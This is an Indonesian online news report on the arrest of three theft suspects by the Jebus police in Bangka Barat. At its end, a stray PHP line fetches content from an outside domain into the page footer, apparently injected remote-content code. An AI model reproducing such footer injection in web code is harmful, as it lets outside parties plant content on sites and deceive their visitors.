Polsek Jebus Sigap Ringkus Pelaku Tindak Pidana Pencurian

Rabu, 11 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Bangka Belitung | jejakkasus.info – (AN) laki laki buruh harian lepas,(FA) laki laki buruh harian lepas,(PI) laki laki buruh harian lepas merupakan tiga pelaku yang diringkus oleh anggota polsek Jebus akibat kasus tindak pidana pencurian.

Pada Hari Selasa tanggal 03 September 2024 Sekira Pukul 10.00 Wib Anggota Unit Reskrim mendapatkan informasi dari masyarakat tentang keberadaan (FA) yang ingin pergi ke Desa Mayang menggunakan Mobil Bis.

kemudian anggota Unit Reskrim di pimpin oleh Panit Unit Reskrim Polsek Jebus IPDA EKO PRASETYO S.Tr. K langsung memberhentikan mobil bis yang di tumpangi oleh tersangka (FA) di Desa. Jebus Kec. Jebus kab. Bangka Barat dan langsung mengamankan (FA).

Baca Juga:  Kapolri Dijadwalkan ke Lokasi Gempa, Distribusikan 3.000 Sembako

Sekira Pukul 11. 00 Wib. kemudian anggota Unit Reskrim Polsek Jebus melakukan pengembangan dan mendapatkan informasi bahwa (AN) akan ikut mobil bis yang sama dengan (FA) untuk pergi ke Desa. Mayang Kec.Teritip.

kemudian pada saat (AN) akan masuk ke dalam Bis (AN) langsung di amankan Oleh anggota Unit Reskrim Polsek Jebus di Desa. Mislak Kec. Jebus Kab. Bangka Barat.

Baca Juga:  Srikandi Brimob Competition 2024 Selesai, Berikut Daftar Para Juaranya

Sekira pukul 12.00 Wib dan langsung di bawa ke Mako Polsek Jebus untuk di mintai keterangan, Kemudian Sekira pukul 22.00 Wib Anggota Unit Reskrim Polsek Jebus mendapatkan Informasi dari masyarakat keberadaan tersangka (PI) yang sedang berada di Desa. Teluk Limau Kec. Parittiga Kab. Bangka Barat.

kemudian sekira Pukul 22.30 Wib anggota Unit Reskrim Polsek Jebus berhasil mengamankan kan (PI) dan langsung membawanya ke Mako Polsek Jebus untuk di lakukan Pemeriksaan Lebih Lanjut.

Baca Juga:  Selamat Hari Buruh,Ketua DPD IWOI Deli Serdang : Tenaga Kerja Adalah Sumber Daya Perusahaan Dan Keluarga

Kapolres Bangka Barat AKBP Ade Zamrah SIK melalui Kapolsek Kelapa Kompol Albert menyampaikan”saat ini ketiga pelaku beserta barang bukti sudah diamankan di mako polsek Jebus guna pemeriksaan lebih lanjut”

Barang bukti yang diamankan berupa Satu Unit SPM YAMAHA FIZ-R Warna merah Putih,1 unit sepeda motor merk Yamaha rx King Warna Hitam,1 Buah Dompet Berwarna Coklat.

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Diduga Nama dan Tanda Tangan Dipalsukan untuk Kredit di BPR Weleri Makmur, Warga Berencana Melapor Ke Polisi
Kontes 303 Perjudian Sabung Ayam Laga Desa Kretek, Kecamatan Sidayu, Kabupaten Bondowoso, Belum Tersentuh Hukum
Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo
Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan
KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.
Kasus di Kejari Langkat yang sempat jadi DPO
Jaksa Tidak Hadir, Terdakwa Pengerusakan Dan Pengancaman Gagal Disidangkan
Pelebaran Dan Penyemiran Jalan Di Tumpakrejo Desa Kebobang Kecamatan Wonosari

Berita Terkait

Jumat, 11 Oktober 2024 - 17:20 WIB

Diduga Nama dan Tanda Tangan Dipalsukan untuk Kredit di BPR Weleri Makmur, Warga Berencana Melapor Ke Polisi

Jumat, 11 Oktober 2024 - 01:23 WIB

Pasangan Paslon No 01 Subandi-Mimik Nobar Timnas vs Bahrain di Alas Kuta Sidoarjo

Kamis, 10 Oktober 2024 - 21:34 WIB

Samsat krian Sidoarjo Dalam Program Pemutihan Masyarakat Terbantukan dan Puas Dalam Hal Pelayanan

Kamis, 10 Oktober 2024 - 21:33 WIB

KPK memberikan WARNING Terhadap Kinerja Pemkab Cirebon Dan Inspektorat”.

Kamis, 10 Oktober 2024 - 21:31 WIB

Kasus di Kejari Langkat yang sempat jadi DPO

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>